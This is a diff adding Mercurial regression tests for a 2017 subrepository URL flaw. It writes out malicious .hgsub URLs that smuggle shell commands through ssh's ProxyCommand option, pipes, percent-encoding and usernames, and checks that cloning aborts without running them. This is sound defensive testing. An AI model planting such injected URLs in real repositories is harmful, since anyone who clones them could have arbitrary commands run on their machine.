diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo-svn.t 
new/mercurial-4.2.3/tests/test-subrepo-svn.t
--- old/mercurial-4.2.2/tests/test-subrepo-svn.t        2017-07-05 
17:24:17.000000000 +0200
+++ new/mercurial-4.2.3/tests/test-subrepo-svn.t        2017-08-10 
20:14:48.000000000 +0200
@@ -639,3 +639,43 @@
   $ hg update -q -C '.^1'
 
   $ cd ../..
+
+SEC: test for ssh exploit
+
+  $ hg init ssh-vuln
+  $ cd ssh-vuln
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+  $ svn co --quiet "$SVNREPOURL"/src s
+  $ hg add .hgsub
+  $ hg ci -m1
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m2
+  $ cd ..
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' 
(in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' 
(in subrepo s)
+  [255]
+
+also check that hiding the attack in the username doesn't work:
+
+  $ cd ssh-vuln
+  $ echo "s = 
[svn]svn+ssh://%2DoProxyCommand=touch%20owned%[email protected]/nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned 
[email protected]/nested' (in subrepo s)
+  [255]
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/mercurial-4.2.2/tests/test-subrepo.t 
new/mercurial-4.2.3/tests/test-subrepo.t
--- old/mercurial-4.2.2/tests/test-subrepo.t    2017-07-05 17:24:17.000000000 
+0200
+++ new/mercurial-4.2.3/tests/test-subrepo.t    2017-08-10 20:14:48.000000000 
+0200
@@ -1777,3 +1777,77 @@
   +bar
 
   $ cd ..
+
+test for ssh exploit 2017-07-25
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg init s
+  $ cd s
+  $ echo init > init
+  $ hg add
+  adding init
+  $ hg commit -m init
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' 
(in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' 
(in subrepo s)
+  [255]
+
+also check for a pipe
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+and bad usernames:
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch [email protected]/path' > .hgsub
+  $ hg ci -m 'owned username'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch 
[email protected]/path' (in subrepo s)
+  [255]


Reply via email to